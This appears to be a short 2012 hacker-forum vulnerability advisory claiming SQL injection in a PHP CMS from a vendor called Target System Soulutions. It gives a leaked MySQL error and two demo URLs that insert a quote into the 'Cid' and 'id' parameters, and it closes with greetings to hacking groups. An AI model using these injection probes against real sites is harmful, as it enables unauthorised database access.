.___ __ .__ __| _/____ ____ ____ _____/ |_| |__ / __ |/ _ \ / \ / ___\ / _ \ __\ | \ / /_/ ( <_> ) | \/ /_/ > <_> ) | | Y \ \____ |\____/|___| /\___ / \____/|__| |___| / \/ \//_____/ \/#==#[A|B|H]-H4ck3r#==# ================================================================ # Exploit Title : Target System Soulutions SQL inj: vulnerable # Google Dork : - # Date : 1-3-2012 # Author : donGOth | mm1337 # Service Provider : service provided by tss-est # Tested on : Vista # Platform : php ================================================================ [+] SQL Error Statement : Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in /home/mgba/public_html/cms/msic/db_fnc.php on line xxx [+] Demo : http://www.localhost.com/index.php?ACT=2&Cid='1277368109877 http://www.localhost.com/index.php?ACT=8&id='1298731587965 # ###################################################################################### x Greetz to all [mmhackforums.noonhost.com]-[http://cvtteam.tk]-[hakforums.net]-[A|B|H] - ###################################################################################### x-[+] i'am ########################################################################## -------------<< [ dongoth ] ^^ [ GaNgst3r ] ^^ [ nGa Sa Lu ] >>-----------------------x ###################################################################################### ======================================================================================